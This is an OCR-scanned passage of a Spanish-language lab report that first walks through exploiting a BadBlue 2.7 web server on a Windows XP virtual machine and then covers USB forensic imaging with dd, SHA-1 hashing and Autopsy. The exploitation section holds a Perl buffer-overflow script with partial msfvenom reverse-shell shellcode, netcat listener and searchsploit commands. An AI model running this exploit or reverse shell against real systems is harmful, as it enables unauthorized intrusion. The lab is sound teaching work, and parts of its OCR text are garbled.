Not showv 99 1 ( ponse)
PORT
indows RPC
open
SOAP)

Nmap scan
Host is up (

 virtu,

Not shown:

'tcp open
open msrpc

Figura 278. Hacemos un escaneo general con nmap

Los resultados fueron interesantes, pero lo mas importante fue 192.1.1.7: esta maquina
tenia el puerto 80 abierto, y el servicio que aparecia era BadBlue http. Justo lo que estaba
buscando.

/home/kali

Host is up (€
Not shown: 995 clos

seconds

/home/kali

Figura 279. Hacemos un escaneo a la ip de XP



Después de identificar la IP del objetivo, ejecuté un escaneo con Nmap directo a la ip
192.1.1.7 usando el comando nmap -sV 192.1.1.7. El resultado confirm6 que la maquina corre
Windows XP y tiene varios puertos abiertos, incluyendo el 80, donde se encuentra activo el
servidor BadBlue HTTP 2.7. Esta informacion es importante, ya que me permite saber que

ataques podrian ser efectivos y confirma que el servidor vulnerable esté listo para ser analizado y

explotado.

8.6.2 Verificamos que el servicio BadBlue si este activo

o

esearchil e
File seard Share your Excel

spreadsheets over" ¥

invoices), by file extension (jpg, mp3, x/s,

...)or wwt’h multiple words (phot;: a!br.:m ! the WEb' FaSt'
would match all files that include the words

photo and album).

Search using a partial word (inv matches

Enterprise Edition

| »

(& € meermet H100% <

€> BadBlue

Figura 280. Verificamos que el servicio este arriba

Lo siguiente que hice fue verificar que el servicio de BadBlue estuviera funcionando
correctamente. Para eso, ingres¢ a la maquina virtual con Windows XP y ejecuté el software
BadBlue, que ya habiamos instalado previamente cuando configuramos la carpeta compartida

llamada docu-VM.
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Figura 281. Probamos y acceder con http://192.1.1.7

Al abrir el navegador y acceder a http://192.1.1.7, pude ver la interfaz web del servidor
BadBlue activa. Esto me confirmé que el servicio estaba corriendo localmente y que los archivos
compartidos desde la carpeta estaban disponibles para ser accedidos o manipulados desde el
navegador. Con esto, ya tenia todo listo para comenzar la fase de andlisis y explotacion del

servidor.

8.6.3 Comenzamos el proceso de explotacion especifico

/home/kali

HTTP/1.1 20¢
Server:
Content-Type:
Accept-Ranges: by
Date: )
ETag: "3f45

65
Last-Modified:
Content-Length:
Connection: close
Cache-control: public

/home/kali

Figura 282. Servidor web respondiendo correctamente desde mi maquina Kali.



Después de confirmar que BadBlue estaba corriendo en Windows XP, lo primero que se
me ocurrié hacer fue escalar privilgios asi que use el comando sudo su y la cave de mi maquina
para entrar a modo root ,luego quise asegurarme de que el servidor web estuviera respondiendo
correctamente desde mi maquina Kali. Para eso, ejecuté el siguiente comando curl -I
http://192.1.1.7:80/ en la termina, este comando me permitié obtener solo las cabeceras HTTP

del servidor, sin descargar el contenido completo.

/home/kali
BadBlue 2.7

Exploit Title | Path

2 - PassThru Remote Buffer Overflow | windows/remote/4784.pl
2b - Multiple Vulmerabilities

ar

2b - PassThru Buffer Overflow (Meta | windows/remote/168
Working Resources 1. - Denial of Se | windows
Working Resources 1 - Full Path Di | windows/remote/2@64@.txt

Shellcodes: No Result

/home/kali

Figura 283. consultar la base de datos de Exploit-DB directamente desde Kali.

Use el comando searchsploit BadBlue 2.7 este comando me permiti6 consultar la base
de datos de Exploit-DB directamente desde Kali. Los resultados fueron bastante utiles porque
encontré varios exploits relacionados con BadBlue 2.72, incluyendo uno de desbordamiento de
bufer remoto (PassThru) y otros que mencionaban vulnerabilidades multiples. También
aparecieron algunos exploits para versiones anteriores como la 1.2.7, pero mi enfoque estaba en
los que aplicaban directamente a la version 2.7 que estaba corriendo en el servidor. Con esta

informacion, ya tenia claro qué tipo de ataque podia intentar a continuacion.



/home/kali
windows/remote/4784.pl
Exploit: BadBlue 2.72 - PassThru Remote Buffer Overflow
URL: https .exploit-db.com/exploits/4784
Path: /fusr/s efexploitdb/ oits/windows/remote/478
Codes: O5VDB-42416, CVE-2007-6377
Verified: True

File Type: Perl scri
Copied EDB-ID #4784

/home/kali

Figura 284., Usé el comando searchsploit -p windows/remote/4784.pl

Después de encontrar el exploit para BadBlue, usé el comando searchsploit -p
windows/remote/4784.pl Esto me mostro que el exploit es un script. También me dio la ruta

exacta donde estd guardado en Kali. Con esta informacion

/home/kali

/home

Figura 285. Subir de directorio en la terminal, hasta llegar al directorio raiz /.

Después de preparar el exploit, lo siguiente que hice fue navegar por el sistema de

archivos en Kali. Usé el comando cd .. para subir de directorio en la terminal, hasta llegar al

directorio raiz /.



/
fusr/share/exploitdb/exploits/windows/remote/4784.pl .

/

4784.pl

Figura 286. Se movio el archivo del repositorio de exploits de Kali a mi carpeta de trabajo

Una vez identificado el exploit que queria usar, lo copié a mi directorio actual con el
comando cp /ust/share/exploitdb/exploits/windows/remote/4784.pl . Esto movio el archivo del
repositorio de exploits de Kali a mi carpeta de trabajo. Luego ejecuté Is para verificar que el
archivo estuviera ahi, y efectivamente aparecio 4784.pl junto con otras carpetas del sistema. Con

el exploit ya copiado, estaba listo para editarlo o ejecutarlo seglin fuera necesario.

root@kali: /
Session Acciones Editar Vista Ayuda
/
/usr/share/exploitdb/exploits/windows/remote/4784.pl .
/

4784.pl

4784.p
usr/bin/per

Figura 287. Usé el comando nano 4784.pl Esto me permitio ver que el script



Con el exploit ya copiado en mi directorio de trabajo, lo siguiente que hice fue abrirlo
para revisar su contenido. Usé el comando nano 4784.pl Esto me permitio ver que el script esta
escrito en Perl y que se trata de un exploit para un desbordamiento de pila en BadBlue 2.72,
También ejecuté cat 4784.pl para visualizar rapidamente el contenido en la terminal. Con esto,

ya tenia claro como funcionaba el exploit y estaba listo para probarlo.

badblue-272-seh.pl

nano &.6

GNU

Figura 288. Mostramos el encabezado del scrip y adj&ﬁldﬁi&v lo demds

#!/usr/bin/perl
use IO: :Socket;,

# Configuracién
my Starget = SARGV[O0];
my $port = $ARGV[1],

if (!defined(Starget) || !defined($port)) {
print "Uso: $0 <IP_objetivo> <puerto>\n";
exit;

}

print "[+] Enviando exploit a Starget:Sport...\n";

# Shellcode generado con msfvenom:

# msfvenom -p windows/shell reverse tcp LHOST=192.1.1.13 LPORT=4444
EXITFUNC=thread -f perl -b "\x00\x0a\x0d"

my $shellcode =
"\xdb\xc0\xd9\x74\x24\xf4\x5e\xba\xae\x2e\x4b\x3e\x31\xc9\xbl".
"\x52\x31\x56\x17\x83\xc6\x04\x03\x0e\x3e\x3e\x3f\x52\xd6\x3c".

"..."; # « Aqui iria el shellcode completo (puedo darte el resto si lo

7

necesitas)

# Payload HTTP malicioso



my Spayload = "GET /" . "A" x 4061 . S$shellcode . " HTTP/1.1\r\n";
Spayload .= "Host: Starget\r\n'";
Spayload .= "Connection: close\r\n\r\n";

# Enviar el payload

my S$sock = IO::Socket::INET->new(PeerAddr => S$Starget, PeerPort => $port,
Proto => "tcp") or die "[-] No se pudo conectar: §!";

print $sock $Spayload;

close (Ssock) ;

print "[+] Payload enviado. Esperando conexién reversa en
192.1.1.13:4444...\n";

Lo siguiente que hice fue crear el archivo encabezado utilizando el comando nano
badblue-272-seh.pl Creamos el archivo badblue-272-seh.pl con encabezado para documentar el
exploit de forma segura y organizada. Esto nos permite mantener un registro claro, evitar errores,

y demostrar que el analisis se hizo de forma ética y responsable.

/
+x badblue-272-seh.pl

/
-20 badblue-272-seh.pl

Figura 289. daremos el permiso de ejecucion

luego antes de ejecutar el exploit resultaba darle el permiso de ejecucion para eso utilizo
el comando chmod +x badblue-272-seh.pl y luego con el comando head -20 badblue-272-

seh.pl



8.6.4 Ultimamos detalles para lanzar nuestro exploit

0 badblue-272-seh.p
#! /usr/bin/perl -w
http://aluigi.altervista.org/adv/badblue-adv.txt
https://ww .securityfocus.com/bid/26803
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379
exploit for stack overflow in badblue 2.72

Jacopo Cervini acaro@jervus.it
22/12/2007

#
#
#
#
#
# Credit to Luigi Auriemma
#
#
b
#
it

use I0::Socket;

if(1($ARGV[1]))
{

Figura 290. Usé head -20 badblue-272-seh para ver las primeras lineas del exploit

Usé head -20 badblue-272-seh para ver las primeras lineas del exploit. Ahi confirmé que
era para BadBlue 2.72, con referencias al CVE y los autores. También vi que usa Perl y empieza

cargando el mddulo de sockets, lo que indica que se conecta por red. Todo listo para probarlo.

Microsoft Windows HP [Version 5.1.26H081
CC» Copyright 1785-2801 Microsoft Corp.

C:sDocuments and SettingssYecolXping 192.1.1.13
Haciendo ping a 192.1.1.13 con 32 hytes de datos:

Respuesta desde 192.1.1.13: hyte=s=32 tiempo<im TTL=64
Rezpuesta desde 192.1.1.13: hytes=32 tiempo<im TTL=564
Respuesta desde 192.1.1.13: hyte=s=32 tiempo<im TTL=64
Rezpuesta desde 192.1.1.13: hytes=32 tiempo<im TTL=564

Eztadisticas de ping para 192.1.1.13:
Paguetes: enviados = 4, recibhidos = 4, perdidos =
CBx perdidos?.

Tiemposzs aproximados de ida v vuelta en milisegundos:
Minimo = Bms, Maximo = Bms,. Media = Bms

C:“JDocuments and Settings“YecoXipconfig

Configuracidn IP de Windows

Figura 291. Nos aseguramos de que todo estuviera correctamente configurado probando la conexion



Antes de lanzar el exploit, necesitdbamos asegurarnos de que todo estuviera
correctamente configurado. Lo primero que hice fue verificar la IP de mi maquina Kali, que seria

la encargada de recibir la conexion reversa, esto lo hice haciendo ping de Windows XP a kali.

— SV 192.1.1.7

Starting Nmap 7.95 ( ps://nmap.org ) at 2025-10-13 10:49 -05
Nmap scan report for 192.1.1.7

Host is up (©.0020s latency).

Mot shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http BadBlue httpd 2.7

Figura 292. Escaneamos la red para ver el servicio

Con ambas maquinas listas, abri un listener en Kali usando netcat en el puerto 4444. Esto
me permitiria recibir la shell si el exploit funcionaba correctamente. Después, ejecuté el script
badblue-272-seh.pl, apuntando a la IP de la victima y al puerto donde BadBlue estaba corriendo.

El comando fue nc -lvpn 44

Figura 293. listener en Kali usando netcat en el puerto 4444

Como ya habia escalado permiso ahora si lance el exploit con el comando ./badblue-272-

seh.pl 192.1.1.7 80
Ingresamos a nuestra maquina victima

192.1.1.7 8@
y 192.1.1.7:80
erando conexion reversa en 192.1.1.13:4444 ..

[+] Enviando exploit a
[+] Payload enviado. Esp

Figura 294, Ingresamos a nuestra maquina victima



El script respondi6 que el payload fue enviado y que estaba esperando la conexion

reversa. En ese momento, todo estaba en manos del shellcode, si estaba bien configurado con mi

IP y puerto, y si la victima no tenia bloqueos, la conexioén deberia establecerse.

Figura 295.Dentro de la maquina subimos a la carpeta raiz

En este punto ya habiamos ingresado a el archivo po respositrorio de badblue, lo que hice

luego fue subir de carpeta hasta llegar a la carpeta raiz, para ello use el comando ed ..

8.6.4.1 Navegamos un poco para obtener informacion

olumen de
El nemero de s
Directorio de C:\
32
34
134

" no se recon

ama o archivo pc

Tipo de compilaci
Propiedad de:

Urg
Id.

del produc

Archivos de

omo un comando
25 ejecutable.

opeéerativo:

a operativo:

programa

interno o externo,

oft Windows XP F
ack 3

tion

pilacien

0 independiente

L Sistema operativo:

76460-641-19273

Figura 296. Buscamos informacion

2600



Con la shell ya establecida, comencé a interactuar con la maquina victima. Lo primero
que hice fue ejecutar el comando dir para confirmar que tenia acceso al sistema de archivos. El
resultado mostro los directorios tipicos de una instalacion de Windows XP, como Archivos de
programa, Documents and Settings y Windows, ademas de archivos de configuracién como

autoexec.bat y config.sys, ambos con tamafio cero.

Figura 297. Mostramos la otra parte de la informacion obtenida

8.6.4.2 Culminamos nuestra explotacion

Para obtener informacioén mas detallada del sistema, ejecuté systeminfo, lo cual si
funciond. El resultado confirm6 que la méquina victima era un sistema Windows XP
Professional con Service Pack 3, compilacion 2600. También se mostro el nombre del host WAY,

el tipo de compilacion y que se trataba de una estacion de trabajo independiente.



1860 Conso
83

Figura 298. Culminamos mostrando el servicio en ejecucion

Para finalizar mi exploracion del servicio, ejecuté el comando tasklist desde la shell
remota. Esto me permitid visualizar los procesos activos en la maquina victima. Entre ellos se
encontraban procesos tipicos del sistema como System Idle Process, smss.exe, csrss.exe y varios

svchost.exe, lo que indica que el sistema estaba funcionando de forma estable en ese momento.



9. Capitulo 9: Analisis Forense de USB Utilizando la herramienta Autopsy en Kali

Linux y Windows, Uso De Ftk Imager

9.1.Introduccion
En este capitulo se presenta de manera detallada el procedimiento para realizar un
analisis forense a una memoria USB empleando herramientas especializadas que permiten
examinar su contenido sin alterar la informacion original. Para ello, se trabaj6 con dos
aplicaciones ampliamente reconocidas en el ambito de la informética forense: Autopsy, ejecutado

en el sistema operativo Kali Linux, y FTK Imager, utilizado en un entorno Windows.

El objetivo principal de este proceso fue mostrar como es posible examinar, recuperar y
preservar datos almacenados en una unidad USB, incluyendo archivos que hayan sido
eliminados previamente por el usuario. Con Autopsy se efectu6 el analisis profundo del
dispositivo, permitiendo visualizar estructuras internas, identificar evidencia digital, y recuperar
informacion borrada. Por otro lado, FTK Imager se utilizé para crear una imagen forense, es
decir, una copia exacta y verificable del contenido de la memoria USB, garantizando que la

investigacion se realice sobre la copia y no sobre el dispositivo original.

Todo el procedimiento se desarroll6 siguiendo buenas practicas forenses, asegurando que
los datos no fueran modificados en ningun momento. Esto implica trabajar de forma meticulosa
y controlada, como lo haria un perito digital en un caso real, donde cada archivo, metadato o
rastro presente en la USB podria constituir evidencia relevante dentro de una investigacion

formal.



9.2.0bjetivos
9.2.1 Objetivo General
Realizar un analisis forense completo a una memoria USB empleando las herramientas
especializadas Autopsy y FTK Imager, con el proposito de recuperar, identificar, preservar y

examinar de forma confiable toda la informacion contenida en el dispositivo.

9.2.2 Objetivos Especificos
e Generar una copia forense exacta del contenido de la memoria USB mediante la
herramienta FTK Imager.
e Examinar dicha imagen utilizando Autopsy en el entorno Kali Linux con el
propésito de localizar, revisar y comprender los archivos presentes.
e Registrar de forma detallada, clara y estructurada cada una de las acciones

realizadas durante el proceso y los hallazgos obtenidos.



9.3.Planteamiento del Problema

La informacion digital se ha convertido en uno de los recursos mas valiosos para el
mundo en general, se puede decir que el volumen de datos que movemos o almacenamos ya sea
en la nube o por medios fisicos como pueden ser memorias USB es gigantesco, esto hace que el
manejo adecuado de los datos adquiere una importancia critica. El uso cotidiano de dispositivos
portatiles de almacenamiento, como las memorias USB, facilita la transferencia de archivos, pero
también incrementa significativamente los riesgos asociados a la pérdida, alteracion o
eliminacion intencional o accidental de informacion relevante. Esta vulnerabilidad convierte a las
unidades USB en elementos que con frecuencia deben ser sometidos a procesos de analisis

forense digital dentro de investigaciones académicas, corporativas o incluso judiciales.

Aunque existen herramientas avanzadas para realizar andlisis forense, como Autopsy y
FTK Imager, su uso adecuado requiere de conocimientos técnicos que muchos estudiantes o
principiantes en el campo de la informatica forense alin no dominan. La falta de comprension
sobre conceptos fundamentales como la creacion de una imagen forense, la preservacion de la
integridad del dispositivo, la recuperacion de archivos eliminados o el andlisis de metadatos
puede generar errores que comprometan la validez de la evidencia digital. En escenarios reales,
una mala practica podria provocar la alteracion de datos importantes, afectando la confiabilidad

del andlisis y la utilidad de la informacion recolectada como posible prueba.

En el ambito educativo, este problema se hace aun mas evidente. Aunque se ensefian los
fundamentos teodricos de la informaética forense, no siempre existe una guia clara, practica 'y
estructurada que permita a los estudiantes ejecutar un proceso de analisis completo y
metodoldgicamente correcto sobre un dispositivo de almacenamiento. La ausencia de

procedimientos detallados dificulta la comprension de las etapas esenciales del analisis forense,



como la adquisicién de evidencia, la verificacion de integridad, la exploracion del sistema de

archivos y la documentacion de los hallazgos.

Esta situacion genera la necesidad de contar con un material que explique de manera
clara como llevar a cabo el analisis forense de una memoria USB utilizando herramientas
profesionales y entornos controlados. Por lo tanto, el presente trabajo surge como respuesta a
dicha necesidad, proponiendo una guia detallada del proceso, desde la creacion de la imagen
forense con FTK Imager hasta el andlisis profundo de la evidencia con Autopsy en Kali Linux,
replicando un escenario realista pero seguro para el aprendizaje. El objetivo es proporcionar un
recurso que permita fortalecer las competencias practicas, mejorar la comprension de los
procedimientos forenses y asegurar que el andlisis de evidencia digital se realice siguiendo

estandares técnicos aceptados en el campo.



9.4.Subcapitulo 1: Analisis Forense Utilizando Autopsy en Kali Linux

9.4.1 Configuracion de Filtros USB.
Lo primero que debemos hacer antes de realizar nuestro andlisis forense es conectar
nuestra memoria USB y que se reconocible por nuestro pc fisico. Para eso lo tnico que debemos

hacer es conectar nuestra memoria e irla a buscar en el apartado de equipos.

ALEXAMDER (D)
o 0

3,55 GB disponibles de 3,7...

Figura 299. Revisamos que nuestro computador lea la memoria USB.

Lo siguiente que hacemos es crear el filtro USB para ello nos vamos a configuracion
dentro de configuracion ingresamos al apartado USB y te dentro de este apartado le damos en el
botén de més que no permite agregar los dispositivos detectados por nuestro PC para este caso

seleccionamos el general uDisk(0100) que seria nuestra memoria USB.

& KALI - Settings - o x|
Basic M Search settings £
M| General usB
Huab
Sistema
@ Pantalla
@ Almacenamiento
Filtros de dispositivos USB
(A Audio
D] @ Realtek 802.11n NIC yes)
ﬂ Red @ General UDisk [0100] &
Jic]
@ Puertos serie &
# use
&S
I_:l Carpetas compartidas
El Interfaz de usuario Can TR
Nombre Ruta Acceso Automaontar  En ‘B

Cancelar Ayuda

Figura 300. Configuracion de Dispositivos USB



Por ultimo, dentro de nuestra maquina virtual de Kali Linux Ingresamos a la opcion de
dispositivos luego de nuevo al apartado USB y seleccionamos hoy muéstrame mi memoria qué

seria la general mass storage (0100)

3 KAL [Corriendo] - Oracle VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda

’Q‘ - = ' S NEHRY © Unidades épticas

Audio

({5 Preferencias USB...

Carpetas compartidas Realtek Semiconductor Corp. [0110]
Portapapeles compartido Generic Mass Storage [0100]

Arrastrar y soltar Chicony Electronics Co., Ltd [9660]

Insertar imagen de CD de los complementos del invitado...

Sistema de Upgrade Guest Additions...

Figura 301. Seleccion de la USB Desde Kali

9.4.2 Revision de la deteccion del dispositivo
Utilizando el comando Sudo fdisk -1 Podremos revisar que efectivamente nuestra

Memoria USB b ya es detectable en desde nuestro Kali Linux

/home/kali

End Sectors Size Id Type
1471 49 7G 83 Linux

nimum/optimal): 512
a-

Boot Start End Sectors Size Id Type

54 8G c W95 FAT32 (LBA)

/home/kali

Figura 302. Identificacion de Dispositivos



Para identificar los dispositivos de almacenamiento conectados al sistema, primero accedi
al modo privilegiado usando sudo su e ingresando mi contrasefia en la consola. Luego, pude

verificar la presencia del disco principal /dev/sda y de la unidad USB /dev/sdb (una memoria de

3.75 GB), la cual corresponde al dispositivo que sera analizado en el proceso forense.

9.4.3 Creacion de Hash SHAI

/home/kali

/dev/sdb

Figura 303. Generacion de Hash de la Memoria USB
Para generar el hash, utilizamos el algoritmo SHA-1 mediante el comando shalsum

aplicado directamente sobre el dispositivo USB /dev/sdb. Este proceso produce un valor hash

unico (SHA-1), el cual fue redirigido y guardado en con el nombre hash_forense.shal, ubicado

en el Escritorio de Kali Linux.

T EEEE

B ~[Eseritorio/hash_ferense.shal [Solo lectura] - Mousepad

Archivo Editar Buscar Ver Documento Ayuda

I Lk C x O Q& i

1[3288c67bSee5ad37c17731ced4d739e4fd50cdoe  /dev/sdb
2

Figura 304. Hash generado.



En andlisis forense digital, generar un hash criptografico es importante ya que permite
garantizar la integridad de la evidencia. El hash funciona como una "huella digital" del
dispositivo o archivo: si su contenido cambia, aunque sea minimamente, el hash resultante
también cambiara. Esto permite demostrar que la evidencia no ha sido alterada durante el

analisis, manteniendo asi su validez legal y técnica.

9.4.4 Generamos la Imagen de la USB

/home/kali
ld if=/dev/sdb of=/home/kali/Escritorio/imagen_usb_forense.dd conv=noerror,s

Figura 305. Creacion de Imagen USB

Para finalizar, se emple6 el comando dd if=/dev/sdb
of=/home/kali/Escritorio/imagen_usb_forense.dd conv=noerror,sync en Kali Linux con el fin
de generar una imagen forense bit a bit del dispositivo USB identificado como /dev/sdb. En el
comando se define como entrada (if) el dispositivo USB y como salida (of) el archivo

imagen usb_forense.dd, el cual se almacena en el Escritorio.

Ademas, se agregaron los parametros conv=noerror,sync, que permiten que el proceso
continuie aun cuando se presenten sectores defectuosos, garantizando asi que la copia se realice

de forma integra y sin interrupciones.

/home/kali
if=/dev/sdb of=/home/kali/Escritorio/imagen_usb_forense.dd conv=noerror,sync
7866368+0 records in
7866368+0 records out
4027580416 bytes (4,0 GB, 3,8 GiB) copied, 935,757 s, 4,3 MB/s

imagen_us... ) /home/kali

Figura 306. Finalizacion de la Creacion de la Imagen USB



Aqui se muestra la finalizacion exitosa del proceso de creacion de la imagen forense de la
memoria USB. Se evidencia que se copiaron 7,866,368 bloques, equivalentes a 4.0 GB (3.8 GiB)

de informacion, lo cual confirma que se obtuvo una copia completa y exacta del dispositivo.

9.4.5 Hacemos la comparacion del Hash Original e Imagen USB

/home/kali
/home/kali/Escritorio/imagen_usb_forense.dd
cB7b5ee5ad37c17731cedtd739e4fd508cdBe  /home/kali/Escritorio/imagen_usb_forense.dd

/home/kali

Figura 307. Verificacion de la Imagen USB

Después de generar la imagen forense de la memoria USB, procedimos a calcular
nuevamente el hash SHA1, esta vez aplicado directamente al archivo imagen_usb_forense.dd

para verificar la integridad de la copia creada. Para ello utilizamos el comando:

shalsum /home/kali/Escritorio/imagen usb forense.dd

El comando genero el valor hash 3288c67b5eeSad37¢17731ced4d739e4fd50cdOe,
correspondiente a la imagen forense. Este resultado confirma que la copia se realizo
correctamente, manteniendo la integridad de los datos tal como se encontraban en el dispositivo

original.

9.4.6 Asignacion de Permisos

/home/kali
777 /home/kali/Escritorio/imagen_usb_forense.dd

Jhome/kali

Figura 308. Configuracion de Permisos de la Imagen



Luego ejecutamos el comando chmod 777 aplicado al archivo imagen_usb_forense.dd
ubicado en el Escritorio de Kali Linux. Con este comando se asignan permisos de lectura,
escritura y ejecucion para el propietario, el grupo y todos los demas usuarios, permitiendo asi

acceso completo al archivo de la imagen forense.

9.4.7 Ingresamos a Autopsy

Q au|

os 3ULOPSY

Figura 309. Aplicacion Autopsy

Esta imagen muestra como ingresamos a Autopsy en el entorno de Kali Linux, aqui es

donde aremos nuestra auditoria forense.

9.4.7.1 Servicios de Autopsy Iniciado

f- ] Terminal n.® 1
Session Acciones Editar Vista Ayuda

$ sudo autopsy

[sudo] contrasena para kali: |}

Figura 310. Nos logueamos en autopsy

Luego de ingresar a autopsy lo primero que hacemos es loquearme para esto ingresamos

nuestra contrasena de kali



f + 1 Terminal

[sudo] contrasena para kali:

Autopsy Forensic Browser
http://vwww.sleuthkit.org/autopsy/

Evidence Locker: /var/lib/autopsy
Start Time: Sat Oct 11 08:15:03 2025
Remote Host: localhost

Local Port: 9999

Open an HTML browser on the remote host and paste this URL in it:

http://localhost:9999/autopsy

Keep this process running and use <ctrl-c> to exit

Figura 311. Inicializacion del Servicio Web de Autopsy

Después de ejecutaremos Autopsy lo que hiciste aqui fue levantar el servidor local de
Autopsy para poder analizar la imagen forense desde un navegador web. Es el paso previo antes

de crear un caso y cargar la imagen imagen usb forense.dd



9.4.7.2 Pagina de Inicio de Autopsy

B & Autopsy Forensic Browserx  +

C @ O D localhost

OffSec KaliLinux # KaliTools ¢ KaliDocs ® Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

WARNING: Your browser currently has Java Script enabled.

You do not need Java Script to use Autopsy and it is recommended that it be turned off for security reasons.

Autopsy Forensic Browser 2.24

http: //www.sleuthkit .org/autopsy/

OPEN CASE NEW CASE HELP

Figura 312. Interfaz Principal de Autopsy

Luego de iniciar el servidor de Autopsy en la terminal, accedimos a la interfaz web a
través de la URL proporcionada. Desde esta pantalla principal seleccionamos la opcion “Nuevo
Caso (New Case)” para comenzar la creacion del caso forense, lo cual nos permitira

posteriormente cargar y analizar la imagen forense de la memoria USB.



9.4.7.3 Formulario de Configuracion de Caso Nuevo

CREATE A NEW CASE

1. Case Name: The name of this investigation. It can contain only
letters, numbers, and symbols.

|

2. Description: An optional, one line description of this case.

3. Investigator Names: The optional names (with no spaces) of the
investigators for this case.

MEw S ase ~anee Hms

Figura 313. Formulario para crear un caso nuevo

Esta imagen muestra el formulario utilizado para crear un nuevo caso forense en Autopsy.
En esta seccion se diligencian los datos basicos del caso, tal como se explico en clase. Primero se
asigna un nombre al caso (permitiendo Uinicamente letras, nimeros y simbolos). Luego se
incluye una descripcidon opcional, en este caso “Analisis forense USB”. Finalmente, se ingresan
los nombres del investigador o de los integrantes encargados del andlisis. Con esta informacion

se completa la configuracion inicial del caso.

1. Case Name: The name of this investigation. It can contain only
letters, numbers, and symbols.

|cAS0_2025_001_LONGA |

2. Description: An optional, one line description of this case.
| Analisis dispositivo USB |

3. Investigator Names: The optional names (with no spaces) of the
investigators for this case.

a. |Victor_Manuel_Longa_Longa |

e

e

b
d
£

9| h

i

i

MNEW CASE CANCEL HELP

Figura 314. Creamos un caso nuevo a partir del formulario



9.4.8 Caso Creado Exitosamente en Autopsy

O O localhost

OffSec Kali Linux #8 KaliTools <« KaliDocs & Kali Forums & Kali NetHunter

Creating Case: cAso_2025_s01_LONGA

Case directory (/var/lib/autopsy/CASO_2025_8e1_LONGA/) created
Configuration file (/var/lib/autopsy/CAs0 2025 801 LONGA/case.aut) created

We must now create a host for this case.

Please select your name from the list: | Victor Manuel Longa Longa ~ \

App Host

Figura 315. Confirmacion de Creacion del Caso Forense

Esta imagen confirma la creacion exitosa del caso forense "CASO 2025 001 LONGA"
en Autopsy. El sistema ha generado automéaticamente el directorio del caso en /var/lib/autopsy/
CASO 2025 001 LONGAy el archivo de configuracion core.au. El mensaje indica que el
siguiente paso es crear un "host" para este caso, que representara el dispositivo o sistema bajo

investigacion.

9.4.8.1 Parametros Opcionales de Configuracion

ADD A NEW HOST

1. Host Name: The name of the computer being investigated. It can
contain only letters, numbers, and symbols.

|host| |
2. Description: An optional one-line description or note about this
computer.

3. Time zone: An optional timezone value (i.e. ESTSEDT). If not given, it
defaults to the local setting. A list of time zones can be found in the help
files.

4. Timeskew Adjustment: An optional value to describe how many
seconds this computer's clock was out of sync. For example, if the
computer was 10 seconds fast, then enter -10 to compensate.

5. Path of Alert Hash Database: An optional hash database of known
bad files.

6. Path of Ignore Hash Database: An optional hash database of known
good files.

Abo Host CANCEL HELP

Figura 316. Configuracion Avanzada del Host



Esta imagen muestra los parametros avanzados opcionales para la configuracion del host
en Autopsy. Incluye la zona horaria, rutas de bases de datos de hashes: una para archivos
"maliciosos" conocidos (Alert Hash Database) y otra para archivos "confiables" (Ignore Hash

Database).

9.4.8.2 Interfaz de Host Listo para Importar Imagen

s o Kali NetHunter Exploit-DB Google Hacking DB OffSec

No images have been added to this host yet
Select the Add Image File button below to add one

ADD IMAGE FILE CLosE HosT

HELP

FILE ACTIVITY TIME LINES.

ViEW NoTES EVENT SEQUENCER

Figura 317. Host sin Imagen

Pantalla de Autopsy mostrando el host "MVPTI" sin imagenes agregadas. Indica que se
debe seleccionar "Add Image File" para importar la imagen forense de la memoria USB y

comenzar el analisis.



9.4.8.3 Formulario para Agregar Imagen Forense al Host

ADDANEW MAGE.

1 Location
Enter the full path (starting with /) to the image fle.
Hthe image is spiit (ither raw or EnCase), then enter ™ for the extension.

1Type
Please select if & diskor a single p
Disk Partition

3. Import Method
Toamaly it mastbe Iocated in Ranbe
imported from its current ymbolic Enk by copying . or by
‘moving it Note that if a system failure occurs during the move, then the
image could become corrupt.

« Synlink Copy Mo

Figura 318. Configuracion de Importacion de Imagen

Pantalla de Autopsy para importar la imagen forense. Muestra tres configuraciones:
ubicacion de la imagen (/home/kali/Escritorio/imagen_usb_forense.dd), tipo (Disco o Particion) y

método de importacion (Enlace, Copiar o Mover). Permite cargar la imagen USB para andlisis.

9.4.8.4 Configuracion de Hash y Deteccion de Particion

Autopsy detecta automaticamente la particion FAT32 en la imagen y solicita calcular el

hash MD5 para verificacion. Muestra detalles técnicos de la particién y continuar la importacion.

Kall Linux

o Kall NetHunter = Exploit-DB = Google Hacking DB # OffSec

Calculate the hash value for this image.
Add the following MDS hash value for this image:

Verify hash after importing?
Flle System Details

Analysis of the image file shows the following partitions:

Partition 1 (Type: Win93 FAT32 (0x0b))
Sector Range: 64 t0 7866367
Mount Point: |C File System Type: 232

For your reference, the mi= output was the following:
005 Partition Tavte

0ffset Sector: 0

Units are in 512.byte sectors

stot start End Length Description
002i $00:000 0000000064  0G0TBOEIGT  D0OTBG6I  WindS FATIZ (OxBD)

Figura 319. Detalles de Particion y Hash



9.4.8.5 Proceso de Importacion de Imagen Completado

B  #AddanewimagetoanAl X  +

« 5> C @ O D localhost

KaliLinux # KaliTools « KaliDocs ¥ Kali Forums e Kali NetHunter
Testing partitions

Linking image(s) into evidence locker
Image file added with ID img1

Exploit-DB Google Hacking DB OffSec

Disk image (type dos) added with ID vol1

Volume image (64 to 7866367 - fat32 - C:) added with ID vo12

ADD IMAGE

Figura 320. Imagen Importada Exitosamente

Confirmacion de que la imagen forense se import6d correctamente en Autopsy. El sistema

asign6 IDs unicos al disco y volumen FAT32 listos para el analisis.

9.4.8.6 Interfaz de Seleccion de Volumen

ge In CasolUSE X +

O D locathost

liTools  KaliDocs X KaliForums e Kali NetHunter

Exploit-DB Google Hacking DB OffSec

Select a volume to analyze or add a new image file.

CASE GALLERY HOST GALLERY HOST MANAGER
mount name fs type
@ disk imagen_usb_forense.dd-disk raw details
c:/ imagen_usb_forense.dd-64-7866367 fat32 details
ANALYZE ADD IMAGE FiLE CLose HosT
Hewe
FILE ACTIVITY TIME LINES IMAGE INTEGRITY HASH DATABASES
ViEw NoTes EVENT SEQUENCER

Figura 321. Volumen Listo para Andlisis



Pantalla que muestra el volumen FAT32 (C:/) importado correctamente. Permite
seleccionar el volumen para iniciar el analisis forense con herramientas como linea de tiempo,

integridad de imagen y bases de datos de hash.

9.4.8.7 Opciones de Busqueda y Navegacion de Archivos

B  #8 CasolUSB:IMVPITIvol2 X +

<« C @ O D localhost
